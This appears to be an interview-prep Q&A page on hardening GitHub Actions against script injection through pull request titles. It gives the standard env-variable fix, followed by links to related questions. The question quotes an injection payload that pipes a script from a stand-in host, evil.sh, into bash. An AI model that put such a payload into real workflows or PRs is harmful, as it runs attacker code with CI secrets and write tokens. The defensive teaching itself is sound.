A contributor's PR title is `"; curl -s https://evil.sh | bash; echo "` and your labeler workflow uses the title in `run:`. What happens and how do you fix it?
IntermediateScenarioSecurity Hardening & Supply Chain
Answer
Situation read → Script injection; if the workflow uses pull_request_target, it runs with secrets and a write token.
What I'd do →
- Replace inline interpolation with env:
- env: TITLE: ${{ github.event.pull_request.title }} run: | if [[ "$TITLE" == feat* ]]; then echo "feature"; fi - Audit all workflows for
${{ github.event.*insiderun:andscript:. - Rotate any secrets the workflow had access to if it has run on such a PR.
Why → Expressions are pasted into script text before execution; env variables are expanded as data.
Interview tip → List the untrusted fields: titles, bodies, branch names, commit messages, labels.
More on Security Hardening & Supply Chain
You are asked to harden an existing repo's workflows in one week. What is your checklist?IntermediateYour OSS project needs to run tests on fork PRs and post coverage comments. Design it safely.AdvancedA popular action you use was compromised and its tags repointed. What do you do in the first hour?AdvancedYou must prove that a container image in prod was built by your CI from a specific commit. How?AdvancedA developer wants to use a new Marketplace action with 40 stars for Slack notifications. How do you evaluate it?BeginnerYou find `pull_request_target` used to build and test PRs in a private repo. Is that acceptable?Advanced